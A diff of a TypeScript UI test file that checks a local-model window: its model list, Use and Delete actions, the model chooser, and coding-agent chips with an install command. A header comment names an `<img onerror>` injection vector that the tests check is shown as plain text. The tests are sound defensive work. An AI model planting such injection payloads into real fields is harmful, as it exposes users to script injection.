+      { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] },
+      {
+        cli: 'claude',
+        cliLabel: 'Claude Code',
+        default: false,
+        status: 'ready',
+        slowFirstTurn: true,
+        actions: ['start-session'],
+      },
+      {
+        cli: 'pi',
+        cliLabel: 'Pi',
+        default: false,
+        status: 'installable',
+        installCommand: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent',
+        actions: ['install'],
+      },
+      { cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', actions: [] },
+    ];
+    const answer = {
+      ...INSTALLED,
+      install: {
+        ...INSTALLED.install,
+        harnesses: agents,
+        actions: [...INSTALLED.install.actions, 'install-agent'],
+      },
+    };
+    for (const [width, height] of [
+      [1440, 900],
+      [390, 844],
+      [320, 640],
+    ]) {
+      await load(width, height, answer);
+      await open();
+      // The agent that is not on this Mac: its command is the longest line of the block.
+      await p.locator('.lm-agent', { hasText: 'Pi' }).click();
+      const seen = await p.evaluate(() => {
+        const frame = document.querySelector('.local-model-window')!.getBoundingClientRect();
+        const body = document.getElementById('localModelWindowBody')!;
+        const outside = [...document.querySelectorAll('.lm-agent, .lm-agents .lm-command, .lm-buttons button')]
+          .map((el) => el.getBoundingClientRect())
+          .filter((box) => box.width > 0 && (box.left < frame.left - 0.5 || box.right > frame.right + 0.5)).length;
+        const chips = [...document.querySelectorAll<HTMLElement>('.lm-agent')];
+        return {
+          chips: chips.length,
+          outside,
+          sideways: body.scrollWidth - body.clientWidth,
+          checked: document.querySelector('.lm-agent[aria-checked="true"] .lm-agent-name')!.textContent,
+          tabStops: chips.filter((chip) => chip.tabIndex === 0).length,
+          main: document.querySelector('.lm-buttons .wt-btn-primary')!.textContent,
+        };
+      });
+      expect(seen, `${width}px`).toEqual({
+        chips: 4,
+        outside: 0,
+        sideways: 0,
+        checked: 'Pi',
+        tabStops: 1,
+        main: 'Install Pi',
+      });
+    }
+  });
+
   it('paints above App Settings when it is opened from there', async () => {
     await load(1440);
     await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active'));

test/local-model-ui.test.ts

@@ -18,6 +18,10 @@
  *    screen, and a 409 `size-changed` shows the new total and sends that one next;
  *  - the poll: once a second while the window is open, never after it closes, and a tick that
  *    moved only the download leaves the buttons in place;
+ *  - the models on this Mac: the list with its sizes, the state of each row, "Use" (a switch
+ *    with no confirm screen), "Delete" (asked once, in the row), "Add a model" (the chooser,
+ *    where a row that is on this Mac already is switched to), the way back from a stopped job,
+ *    and what an earlier Remove left on disk;
  *  - every payload string lands as text: an `<img onerror>` in a model, agent or chip name, an
  *    error's detail, a session name, a folder or a command creates no element;
  *  - a button exists only for an action the server lists.
@@ -47,7 +51,9 @@ import type {
   HardwareFacts,
   LocalModelConflict,
   LocalModelErrorCode,
+  LocalModelHarnessRow,
   LocalModelInstallView,
+  LocalModelLibraryRow,
   LocalModelMessage,
   LocalModelStatus,
   NoneReason,
@@ -72,7 +78,7 @@ interface App {
   openLocalModelWindow(): void;
   closeLocalModelWindow(): void;
   isLocalModelWindowOpen(): boolean;
-  startLocalModelSession(): Promise<void>;
+  startLocalModelSession(cli?: string): Promise<void>;
   loadAppSettingsFromServer?: () => Promise<void>;
   loadCliListForSettings?: () => Promise<void>;
   selectCustomModelEntry?: (cli: string, endpointId: string) => Promise<void>;
@@ -383,11 +389,27 @@ function install(over: Partial<LocalModelInstallView> = {}): LocalModelInstallVi
     developerTools: 'present',
     runtime: RUNTIME_MISSING,
     folder: FOLDER,
+    library: [],
+    harnesses: [],
     actions: ['install'],
     ...over,
   };
 }
 
+/** The installed model as the row of the library it is: in use, checked, with nothing to do on it. */
+const QWEN_ROW: LocalModelLibraryRow = {
+  id: 'qwen3.6:35b-a3b',
+  label: 'Qwen3.6 35B-A3B',
+  context: 131072,
+  sizeBytes: 23105798956,
+  sizeGb: '23.1',
+  active: true,
+  verified: true,
+  status: 'ready',
+  actions: [],
+};
+const STORE_ONE = { bytes: 23105798956, gb: '23.1' };
+
 /** The members a job carries from `installing` on. */
 const JOB: Partial<LocalModelInstallView> = {
   model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
@@ -453,7 +475,9 @@ const INSTALLED = status(
     running: true,
     endpointId: 'local-ollama',
     loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true },
-    actions: ['start-session', 'stop', 'remove'],
+    library: [QWEN_ROW],
+    store: STORE_ONE,
+    actions: ['start-session', 'stop', 'install', 'remove'],
   }
 );
 const STOPPED = status(
@@ -464,7 +488,9 @@ const STOPPED = status(
     running: false,
     endpointId: 'local-ollama',
     loaded: { context: 131072, memoryBytes: 26300000000, memoryGb: '26.3', onGpu: true },
-    actions: ['start', 'remove'],
+    library: [QWEN_ROW],
+    store: STORE_ONE,
+    actions: ['start', 'install', 'remove'],
   }
 );
 
@@ -1705,6 +1731,8 @@ describe('an installed model', () => {
     // row's own estimate, so the two figures are never read as a contradiction.
     expect(texts(body, '.lm-aside')).toEqual([
       'Runs with OpenCode. Context 131,072 tokens. Takes 26.3 GB of memory now, and up to about 36 GB at its peak, with all of the context in use. All of it is on the GPU.',
+      // Under the list of models: what the downloads take on disk.
+      'Downloaded models use 23.1 GB on this Mac.',
     ]);
     expect(buttons(body)).toEqual(['Remove', 'Stop', 'Start a session']);
     // One main action.
@@ -2369,3 +2397,909 @@ describe('an installed model whose runtime did not start', () => {
     expect(verbs(app)).toEqual([['POST', '/api/local-model/runtime', { action: 'start' }]]);
   });
 });
+
+// ---------- The models on this Mac ----------
+
+const GPT_ROW: LocalModelLibraryRow = {
+  id: 'gpt-oss:20b',
+  label: 'GPT-OSS 20B',
+  context: 65536,
+  sizeBytes: 13793441427,
+  sizeGb: '13.8',
+  active: false,
+  verified: true,
+  status: 'ready',
+  actions: ['use', 'delete'],
+};
+const STORE_TWO = { bytes: 36899240383, gb: '36.9' };
+
+/** Two models on this Mac, the Qwen one in use and running. */
+const TWO = status(
+  { budgetBytes: 40157944217, budgetGb: '40.2', budgetSource: 'measured' },
+  {
+    ...INSTALLED.install,
+    library: [QWEN_ROW, GPT_ROW],
+    store: STORE_TWO,
+    actions: ['start-session', 'stop', 'install', 'use', 'delete-model', 'remove'],
+  }
+);
+
+/** The buttons of the rows of the list (not the buttons of the screen), by their label. */
+const rowButtons = (page: Mounted) => texts(page.body, '.lm-lib-row .lm-lib-actions:not(.lm-lib-actions-away) button');
+
+function pressIn(page: Mounted, selector: string, label: string) {
+  const found = [...page.frame.querySelectorAll<HTMLButtonElement>(`${selector} button`)].find(
+    (el) => el.textContent === label
+  );
+  expect(found, `no button "${label}" in ${selector}`).toBeTruthy();
+  found!.click();
+}
+
+describe('the models on this Mac', () => {
+  it('lists the one installed model with its context, its state and its size on disk, and offers another', async () => {
+    const page = mount();
+    await opened(page, INSTALLED);
+    const { body } = page;
+    expect(texts(body, '.lm-lib-caption-label')).toEqual(['Models on this Mac']);
+    expect(texts(body, '.lm-lib-caption-size')).toEqual(['On disk']);
+    expect(texts(body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B']);
+    expect(texts(body, '.lm-lib-meta')).toEqual(['131,072 tokens']);
+    expect(texts(body, '.lm-lib-tag .lm-tag')).toEqual(['In use']);
+    expect(texts(body, '.lm-lib-size')).toEqual(['23.1 GB']);
+    // The model in use wears the selected look, and nothing can be done ON it here.
+    expect(body.querySelector('.lm-lib-row')!.classList.contains('lm-lib-row-on')).toBe(true);
+    expect(rowButtons(page)).toEqual([]);
+    expect(texts(body, '.lm-lib-foot button')).toEqual(['Add a model']);
+    // A real list for assistive technology, named by its caption.
+    const list = body.querySelector('.lm-lib-list')!;
+    expect(list.getAttribute('role')).toBe('list');
+    expect(list.getAttribute('aria-labelledby')).toBe('localModelLibraryLabel');
+    expect(body.querySelectorAll('[role="listitem"]')).toHaveLength(1);
+    // The screen scrolls from its top: it is no short screen any more.
+    expect(body.dataset.long).toBe('true');
+    // The buttons of the screen are what they were.
+    expect(buttons(body)).toEqual(['Remove', 'Stop', 'Start a session']);
+  });
+
+  it('two models: the one in use first, the other with Use and Delete, and what both take on disk', async () => {
+    const page = mount();
+    await opened(page, TWO);
+    const { body } = page;
+    expect(texts(body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B', 'GPT-OSS 20B']);
+    expect(texts(body, '.lm-lib-meta')).toEqual(['131,072 tokens', '65,536 tokens']);
+    expect(texts(body, '.lm-lib-tag .lm-tag')).toEqual(['In use', 'Ready']);
+    expect(texts(body, '.lm-lib-size')).toEqual(['23.1 GB', '13.8 GB']);
+    expect(rowButtons(page)).toEqual(['Use', 'Delete']);
+    // A short label on screen, the model's name for a screen reader.
+    const [use, remove] = [...body.querySelectorAll('.lm-lib-row .lm-lib-actions button')];
+    expect(use.getAttribute('aria-label')).toBe('Use GPT-OSS 20B');
+    expect(remove.getAttribute('aria-label')).toBe('Delete GPT-OSS 20B');
+    // Quiet buttons: the screen keeps its one main action, and nothing here is red yet.
+    expect(body.querySelectorAll('.lm-library .wt-btn-primary, .lm-library .wt-btn-danger')).toHaveLength(0);
+    expect(texts(body, '.lm-lib-notes .lm-aside')).toEqual(['Downloaded models use 36.9 GB on this Mac.']);
+  });
+
+  it('a row has a button only for an action the server lists for THAT row', async () => {
+    const page = mount();
+    const rows: LocalModelLibraryRow[] = [
+      QWEN_ROW,
+      { ...GPT_ROW, actions: ['use'] },
+      { ...GPT_ROW, id: 'a:1b', label: 'A', status: 'changed', actions: ['delete'] },
+      { ...GPT_ROW, id: 'b:1b', label: 'B', status: 'missing', actions: ['delete'] },
+      { ...GPT_ROW, id: 'c:1b', label: 'C', context: undefined, verified: false, status: 'unverified', actions: [] },
+      { id: 'd:1b', label: 'D', active: false, verified: false, status: 'unverified', actions: ['delete'] },
+    ];
+    await opened(page, status({}, { ...TWO.install, library: rows }));
+    const perRow = [...page.body.querySelectorAll('.lm-lib-row')].map((row) => [
+      row.querySelector('.lm-lib-label')!.textContent,
+      row.querySelector('.lm-tag')!.textContent,
+      texts(row, '.lm-lib-actions button').join('+'),
+    ]);
+    expect(perRow).toEqual([
+      ['Qwen3.6 35B-A3B', 'In use', ''],
+      ['GPT-OSS 20B', 'Ready', 'Use'],
+      ['A', 'Changed', 'Delete'],
+      ['B', 'Missing', 'Delete'],
+      ['C', 'Not checked', ''],
+      ['D', 'Not checked', 'Delete'],
+    ]);
+    // A row without a context or a size prints neither: no "undefined", no empty unit.
+    const last = [...page.body.querySelectorAll('.lm-lib-row')].at(-1)!;
+    expect(last.querySelector('.lm-lib-meta')).toBeNull();
+    expect(last.querySelector('.lm-lib-size')!.textContent).toBe('');
+    expect(page.body.textContent).not.toContain('undefined');
+    // Each state has a colour of its own.
+    expect([...page.body.querySelectorAll('.lm-lib-tag .lm-tag')].map((tag) => tag.className)).toEqual([
+      'lm-tag lm-tag-inuse',
+      'lm-tag lm-tag-ready',
+      'lm-tag lm-tag-changed',
+      'lm-tag lm-tag-missing',
+      'lm-tag lm-tag-unverified',
+      'lm-tag lm-tag-unverified',
+    ]);
+  });
+
+  it('Use switches at once: no confirm screen, and the screen says a switch is running', async () => {
+    const page = mount();
+    const switching: LocalModelInstallView = {
+      ...TWO.install,
+      state: 'installing',
+      step: 'verify',
+      steps: ['verify', 'connect'],
+      model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' },
+      context: 65536,
+      library: [
+        { ...QWEN_ROW, active: false },
+        { ...GPT_ROW, actions: [] },
+      ],
+      actions: ['cancel'],
+    };
+    const { app } = await opened(page, TWO, () => ok(switching));
+    pressIn(page, '.lm-lib-row', 'Use');
+    await settle();
+    expect(verbs(app)).toEqual([['POST', '/api/local-model/use', { modelId: 'gpt-oss:20b' }]]);
+    expect(page.body.dataset.screen).toBe('progress');
+    expect(texts(page.body, '.lm-title')).toEqual(['Switching to GPT-OSS 20B']);
+    // Nothing is downloaded: no download bar, and the two steps of a switch.
+    expect(page.body.querySelector('.lm-meter')).toBeNull();
+    expect(texts(page.body, '.lm-step-label')).toEqual(['Loading and checking', 'Connecting']);
+    expect(texts(page.body, '.lm-aside')).toEqual([
+      'You can close this window. The switch continues while Codeman is running.',
+    ]);
+    expect(buttons(page.body)).toEqual(['Cancel']);
+  });
+
+  it('a switch that is refused keeps the screen and prints the server sentence with the session names', async () => {
+    const page = mount();
+    const { app } = await opened(page, TWO, () =>
+      conflict({
+        reason: 'sessions-open',
+        message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: 'w1-app, w2-api' } },
+        sessions: ['w1-app', 'w2-api'],
+      })
+    );
+    pressIn(page, '.lm-lib-row', 'Use');
+    await settle();
+    expect(page.body.dataset.screen).toBe('installed');
+    expect(texts(page.body, '.lm-notice-text')).toEqual([
+      'Sessions are still using this model: w1-app, w2-api. Close them first.',
+    ]);
+    expect(verbs(app)).toHaveLength(1);
+    expect(rowButtons(page)).toEqual(['Use', 'Delete']);
+  });
+
+  it('Delete asks once, in the row, and sends nothing until the red button is pressed', async () => {
+    const page = mount();
+    const after: LocalModelInstallView = {
+      ...TWO.install,
+      library: [QWEN_ROW],
+      store: STORE_ONE,
+      actions: ['start-session', 'stop', 'install', 'remove'],
+    };
+    const { app } = await opened(page, TWO, () => ok(after));
+    pressIn(page, '.lm-lib-row', 'Delete');
+    await settle();
+    expect(verbs(app)).toEqual([]);
+    const ask = page.body.querySelector('.lm-lib-ask')!;
+    expect(texts(ask, '.lm-lead')).toEqual(['Delete GPT-OSS 20B from this Mac?']);
+    expect(texts(ask, '.lm-aside')).toEqual(['This frees 13.8 GB.']);
+    expect(texts(ask, 'button')).toEqual(['Cancel', 'Delete']);
+    // Red only here, in its own question.
+    expect(page.frame.querySelectorAll('.wt-btn-danger')).toHaveLength(1);
+    expect(ask.querySelector('.wt-btn-danger')!.textContent).toBe('Delete');
+    // The question sits right under the row it is about. That row's own buttons keep their
+    // room (the sizes must not jump) and are out of reach: unseen, disabled, hidden from a reader.
+    const asked = ask.previousElementSibling!;
+    expect(asked.querySelector('.lm-lib-label')!.textContent).toBe('GPT-OSS 20B');
+    expect(rowButtons(page)).toEqual([]);
+    const away = asked.querySelector('.lm-lib-actions')!;
+    expect(away.classList.contains('lm-lib-actions-away')).toBe(true);
+    expect(away.getAttribute('aria-hidden')).toBe('true');
+    expect([...away.querySelectorAll('button')].every((button) => button.disabled)).toBe(true);
+    // The focus is on the safe answer.
+    expect((page.document.activeElement as HTMLElement).textContent).toBe('Cancel');
+
+    pressIn(page, '.lm-lib-ask', 'Cancel');
+    await settle();
+    expect(page.body.querySelector('.lm-lib-ask')).toBeNull();
+    expect(rowButtons(page)).toEqual(['Use', 'Delete']);
+    expect(verbs(app)).toEqual([]);
+    // Back on the button that asked.
+    expect((page.document.activeElement as HTMLElement).dataset.lmKey).toBe('delete:gpt-oss:20b');
+
+    pressIn(page, '.lm-lib-row', 'Delete');
+    await settle();
+    pressIn(page, '.lm-lib-ask', 'Delete');
+    await settle();
+    expect(verbs(app)).toEqual([['DELETE', '/api/local-model/models', { modelId: 'gpt-oss:20b' }]]);
+    expect(texts(page.body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B']);
+    expect(page.body.querySelector('.lm-lib-ask')).toBeNull();
+    expect(texts(page.body, '.lm-lib-notes .lm-aside')).toEqual(['Downloaded models use 23.1 GB on this Mac.']);
+  });
+
+  it('a delete the server refuses leaves the row and prints why', async () => {
+    const page = mount();
+    await opened(page, TWO, () =>
+      conflict({
+        reason: 'model-active',
+        message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictModelActive, vars: { model: 'GPT-OSS 20B' } },
+      })
+    );
+    pressIn(page, '.lm-lib-row', 'Delete');
+    await settle();
+    pressIn(page, '.lm-lib-ask', 'Delete');
+    await settle();
+    expect(texts(page.body, '.lm-notice-text')).toEqual([
+      'GPT-OSS 20B is the model in use. Switch to another model first, or remove the local model.',
+    ]);
+    expect(texts(page.body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B', 'GPT-OSS 20B']);
+  });
+
+  it('the Delete question of a row and the Remove question are never open together', async () => {
+    const page = mount();
+    await opened(page, TWO);
+    pressIn(page, '.lm-lib-row', 'Delete');
+    await settle();
+    expect(page.body.querySelector('.lm-lib-ask')).not.toBeNull();
+    press(page.body, 'Remove');
+    await settle();
+    expect(page.frame.querySelector('.lm-remove')).not.toBeNull();
+    expect(page.frame.querySelector('.lm-lib-ask')).toBeNull();
+  });
+
+  it('with the runtime stopped a row offers no delete, and one line says how to get it', async () => {
+    const page = mount();
+    const stopped = status(
+      {},
+      {
+        ...STOPPED.install,
+        library: [QWEN_ROW, { ...GPT_ROW, actions: ['use'] }],
+        store: STORE_TWO,
+        actions: ['start', 'install', 'use', 'remove'],
+      }
+    );
+    await opened(page, stopped);
+    expect(rowButtons(page)).toEqual(['Use']);
+    expect(texts(page.body, '.lm-lib-notes .lm-aside')).toEqual([
+      'Downloaded models use 36.9 GB on this Mac.',
+      'Press Start to delete a single model.',
+    ]);
+    // With one model there is no single model to delete, so the line is not there.
+    const one = mount();
+    await opened(one, STOPPED);
+    expect(one.body.textContent).not.toContain('Press Start to delete');
+  });
+
+  it('the screen that ends an install says one thing: no list, one button', async () => {
+    const page = mount();
+    const { app, serve } = await opened(page, INSTALLING);
+    serve(TWO);
+    await app.loadLocalModel({ force: true });
+    expect(page.body.dataset.screen).toBe('installed');
+    expect(page.body.querySelector('.lm-library')).toBeNull();
+    expect(page.body.dataset.long).toBe('false');
+    expect(buttons(page.body)).toEqual(['Start a session']);
+  });
+
+  it('"Add a model" opens the chooser on an installed model, and Back returns to it', async () => {
+    const page = mount();
+    const { app } = await opened(page, TWO);
+    pressIn(page, '.lm-lib-foot', 'Add a model');
+    await settle();
+    expect(page.body.dataset.screen).toBe('choose');
+    expect(page.body.querySelectorAll('[role="radio"]').length).toBeGreaterThan(1);
+    expect(buttons(page.body)).toEqual(['Back', 'Install on this Mac']);
+    press(page.body, 'Back');
+    await settle();
+    expect(page.body.dataset.screen).toBe('installed');
+    expect(verbs(app)).toEqual([]);
+    // No button without the server offering an install (no row fits, or it is not listed).
+    const none = mount();
+    await opened(none, status({}, { ...TWO.install, actions: ['start-session', 'stop', 'remove'] }));
+    expect(texts(none.body, '.lm-lib-foot button')).toEqual([]);
+  });
+
+  it('in the chooser a model that is on this Mac says so, and is switched to without a download', async () => {
+    const page = mount();
+    const answer = status(
+      {
+        pick: { ...PICK, library: 'active' },
+        alternatives: [{ ...ALT_SLOW, library: 'ready' }, ALT_SMALL],
+      },
+      TWO.install
+    );
+    const { app } = await opened(page, answer, () => ok({ ...TWO.install, state: 'installing', step: 'verify' }));
+    pressIn(page, '.lm-lib-foot', 'Add a model');
+    await settle();
+    const rows = [...page.body.querySelectorAll('.lm-model')];
+    const tagsOf = (row: Element) => texts(row, '.lm-tag');
+    // The model in use: its own tag beside the server's, and nothing to do with it here.
+    expect(tagsOf(rows[0])).toContain('In use');
+    const primary = () => page.frame.querySelector<HTMLButtonElement>('.lm-buttons .wt-btn-primary')!;
+    expect(primary().textContent).toBe('In use');
+    expect(primary().disabled).toBe(true);
+
+    // A model that is on this Mac and checked: one click switches to it.
+    const ready = rows.find((row) => tagsOf(row).includes('On this Mac'))!;
+    expect(ready).toBeTruthy();
+    (ready as HTMLElement).click();
+    await settle();
+    expect(primary().textContent).toBe('Use this model');
+    expect(primary().disabled).toBe(false);
+    primary().click();
+    await settle();
+    expect(verbs(app)).toEqual([['POST', '/api/local-model/use', { modelId: ALT_SLOW.modelId }]]);
+    // No confirm screen was shown on the way.
+    expect(page.body.dataset.screen).toBe('progress');
+  });
+
+  it('in the chooser a model that is not on this Mac is installed the usual way, with its sizes confirmed', async () => {
+    const page = mount();
+    const answer = status({ pick: { ...PICK, library: 'active' }, alternatives: [ALT_SMALL] }, TWO.install);
+    const { app } = await opened(page, answer, () => ok({ ...TWO.install, state: 'installing', step: 'model' }));
+    pressIn(page, '.lm-lib-foot', 'Add a model');
+    await settle();
+    const other = [...page.body.querySelectorAll<HTMLElement>('.lm-model')].find(
+      (row) => row.dataset.modelId === ALT_SMALL.modelId
+    )!;
+    other.click();
+    await settle();
+    press(page.body, 'Install on this Mac');
+    await settle();
+    expect(page.body.dataset.screen).toBe('confirm');
+    press(page.body, 'Download and install');
+    await settle();
+    expect(verbs(app)).toEqual([
+      [
+        'POST',
+        '/api/local-model/install',
+        {
+          modelId: ALT_SMALL.modelId,
+          cli: ALT_SMALL.harnesses[0].cli,
+          context: ALT_SMALL.context,
+          acknowledgedBytes: ALT_SMALL.installBytes,
+        },
+      ],
+    ]);
+  });
+
+  it('a job that stopped beside a checked model shows the way back to that model', async () => {
+    const back: LocalModelLibraryRow = { ...QWEN_ROW, active: false, actions: ['use', 'delete'] };
+    for (const first of [
+      status(
+        {},
+        { ...PAUSED.install, library: [back], actions: ['resume', 'install', 'use', 'delete-model', 'remove'] }
+      ),
+      status(
+        {},
+        {
+          ...failed('no-tool-call', { model: 'GPT-OSS 20B' }).install,
+          library: [back],
+          actions: ['resume', 'install', 'use', 'delete-model', 'remove'],
+        }
+      ),
+    ]) {
+      const page = mount();
+      const { app } = await opened(page, first, () => ok({ ...TWO.install, state: 'installing', step: 'verify' }));
+      expect(texts(page.body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B']);
+      expect(texts(page.body, '.lm-lib-tag .lm-tag')).toEqual(['Ready']);
+      expect(rowButtons(page)).toEqual(['Use', 'Delete']);
+      // No "Add a model" here: the job's own buttons offer another model.
+      expect(texts(page.body, '.lm-lib-foot button')).toEqual([]);
+      pressIn(page, '.lm-lib-row', 'Use');
+      await settle();
+      expect(verbs(app)).toEqual([['POST', '/api/local-model/use', { modelId: 'qwen3.6:35b-a3b' }]]);
+    }
+  });
+
+  it('a first job that stopped has nothing to go back to, and shows no list', async () => {
+    const page = mount();
+    // Its own model is on disk and checked, with nothing offered on it: Resume goes on with it.
+    await opened(page, status({}, { ...PAUSED.install, library: [{ ...QWEN_ROW, active: false }] }));
+    expect(page.body.querySelector('.lm-library')).toBeNull();
+    expect(page.body.dataset.long).toBe('false');
+    const stopped = mount();
+    await opened(stopped, failed('load-failed', { model: 'Qwen3.6 35B-A3B' }));
+    expect(stopped.body.querySelector('.lm-library')).toBeNull();
+  });
+
+  it('a paused switch says so, and waits', async () => {
+    const page = mount();
+    await opened(
+      page,
+      status({}, { ...PAUSED.install, step: 'verify', steps: ['verify', 'connect'], progress: undefined })
+    );
+    expect(texts(page.body, '.lm-title')).toEqual(['The switch to Qwen3.6 35B-A3B is paused']);
+    expect(texts(page.body, '.lm-aside')).toEqual(['The switch waits until you continue.']);
+    expect(page.body.querySelector('.lm-meter')).toBeNull();
+  });
+
+  it('the App Settings row names a switch as a switch', async () => {
+    const page = mount();
+    const job = { ...JOB, steps: ['verify', 'connect'] as LocalModelInstallView['steps'], step: 'verify' as const };
+    for (const [state, text] of [
+      ['installing', 'Switching to Qwen3.6 35B-A3B'],
+      ['paused', 'The switch to Qwen3.6 35B-A3B is paused'],
+      ['failed', 'The switch to Qwen3.6 35B-A3B stopped'],
+    ] as const) {
+      const app = page.newApp(ok(status({}, { ...job, state, actions: [] })));
+      await app.loadLocalModel({ force: true });
+      expect(texts(page.row, '.set-row-label')).toEqual([text]);
+    }
+  });
+});
+
+// ---------- The coding agents of an installed model ----------
+
+/** The agents the server lists for the installed model: two that can be started, one to install, one that needs a setup. */
+const AGENTS: LocalModelHarnessRow[] = [
+  { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: ['start-session'] },
+  {
+    cli: 'claude',
+    cliLabel: 'Claude Code',
+    default: false,
+    status: 'ready',
+    slowFirstTurn: true,
+    actions: ['start-session'],
+  },
+  {
+    cli: 'pi',
+    cliLabel: 'Pi',
+    default: false,
+    status: 'installable',
+    installCommand: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent',
+    actions: ['install'],
+  },
+  { cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] },
+];
+
+const withAgents = (rows: LocalModelHarnessRow[], over: Partial<LocalModelInstallView> = {}) =>
+  status(
+    {},
+    { ...INSTALLED.install, harnesses: rows, actions: [...INSTALLED.install.actions, 'install-agent'], ...over }
+  );
+
+const WITH_AGENTS = withAgents(AGENTS);
+
+describe('the coding agents of an installed model', () => {
+  const chips = (page: Mounted) => texts(page.body, '.lm-agent').map((text) => text.trim());
+  const chosen = (page: Mounted) =>
+    page.body.querySelector('.lm-agent[aria-checked="true"] .lm-agent-name')?.textContent ?? null;
+  const pick = (page: Mounted, label: string) => {
+    const chip = [...page.body.querySelectorAll<HTMLButtonElement>('.lm-agent')].find(
+      (el) => el.querySelector('.lm-agent-name')!.textContent === label
+    );
+    expect(chip, `no agent "${label}"`).toBeTruthy();
+    chip!.click();
+  };
+  const launcher = (app: App) => {
+    app.loadAppSettingsFromServer = vi.fn(async () => undefined);
+    app.loadCliListForSettings = vi.fn(async () => undefined);
+    app.selectCustomModelEntry = vi.fn(async () => undefined);
+    return app.selectCustomModelEntry;
+  };
+
+  it('is one radio group: a chip per agent in the server order, the default selected, a tag on what is not there', async () => {
+    const page = mount();
+    await opened(page, WITH_AGENTS);
+    const group = page.body.querySelector('.lm-agent-list')!;
+    expect(group.getAttribute('role')).toBe('radiogroup');
+    expect(page.document.getElementById(group.getAttribute('aria-labelledby')!)!.textContent).toBe(
+      'Start a session with'
+    );
+    expect(texts(page.body, '.lm-agent-name')).toEqual(['OpenCode', 'Claude Code', 'Pi', 'DeepSeek']);
+    expect(chips(page)).toEqual(['OpenCode', 'Claude Code', 'PiNot installed', 'DeepSeekNeeds setup']);
+    expect(chosen(page)).toBe('OpenCode');
+    // One tab stop for the group.
+    expect([...page.body.querySelectorAll<HTMLElement>('.lm-agent')].map((el) => el.tabIndex)).toEqual([0, -1, -1, -1]);
+    // The chips say which agent, so the facts line no longer does.
+    expect(page.body.textContent).not.toContain('Runs with');
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
+    expect(frameOf(page.body).querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1);
+  });
+
+  it('starts the session with the selected agent, and this device remembers the agent it started', async () => {
+    const page = mount();
+    const { app } = await opened(page, WITH_AGENTS);
+    const launch = launcher(app);
+    pick(page, 'Claude Code');
+    expect(chosen(page)).toBe('Claude Code');
+    // What the catalogue says about its first answer.
+    expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual(['The first answer can take minutes.']);
+    expect(verbs(app)).toEqual([]);
+    // Looking at a chip is not a choice yet.
+    expect(page.dom.window.localStorage.getItem('codeman-local-model-agent')).toBeNull();
+    press(page.body, 'Start a session');
+    await settle();
+    expect(launch).toHaveBeenCalledWith('claude', 'local-ollama');
+
+    // The window opened again later: the agent last started stands, not the default.
+    expect(page.dom.window.localStorage.getItem('codeman-local-model-agent')).toBe('claude');
+    const again = page.newApp(ok(WITH_AGENTS));
+    await again.loadLocalModel();
+    again.openLocalModelWindow();
+    await settle();
+    expect(chosen(page)).toBe('Claude Code');
+  });
+
+  it('a chip that was only looked at never hides Start a session when the window is opened again', async () => {
+    const page = mount();
+    const { app } = await opened(page, WITH_AGENTS);
+    pick(page, 'DeepSeek');
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop']);
+    app.closeLocalModelWindow();
+    app.openLocalModelWindow();
+    await settle();
+    // Back on the default agent, with the main action in reach.
+    expect(chosen(page)).toBe('OpenCode');
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
+
+    // And an agent that was started once and has since been uninstalled does not win either.
+    page.dom.window.localStorage.setItem('codeman-local-model-agent', 'pi');
+    app.closeLocalModelWindow();
+    app.openLocalModelWindow();
+    await settle();
+    expect(chosen(page)).toBe('OpenCode');
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
+  });
+
+  it('a remembered agent the server no longer lists falls back to the default', async () => {
+    const page = mount();
+    page.dom.window.localStorage.setItem('codeman-local-model-agent', 'gone');
+    const { app } = await opened(page, WITH_AGENTS);
+    expect(chosen(page)).toBe('OpenCode');
+    const launch = launcher(app);
+    press(page.body, 'Start a session');
+    await settle();
+    expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
+  });
+
+  it('an agent that is not on this Mac: its literal command, and the main button installs it', async () => {
+    const page = mount();
+    const installing = AGENTS.map((row) =>
+      row.cli === 'pi' ? { ...row, status: 'installing' as const, actions: [] } : row
+    );
+    const { app, serve } = await opened(page, WITH_AGENTS, () =>
+      ok(withAgents(installing, { actions: INSTALLED.install.actions }).install)
+    );
+    pick(page, 'Pi');
+    expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
+      'Pi is not on this Mac yet. Codeman installs it with this command:',
+    ]);
+    // The command the click consents to, as text, exactly as the server sent it.
+    expect(texts(page.body, '.lm-agent-about .lm-command')).toEqual([
+      'npm install -g --ignore-scripts @earendil-works/pi-coding-agent',
+    ]);
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install Pi']);
+    expect(frameOf(page.body).querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Install Pi');
+
+    press(page.body, 'Install Pi');
+    await settle();
+    // The id goes out as data; the command is the server's own and is never sent.
+    expect(verbs(app)).toEqual([['POST', '/api/local-model/agent', { cli: 'pi' }]]);
+    expect(chips(page)).toContain('PiInstalling');
+    expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
+      'Installing Pi. You can start a session with another agent meanwhile.',
+    ]);
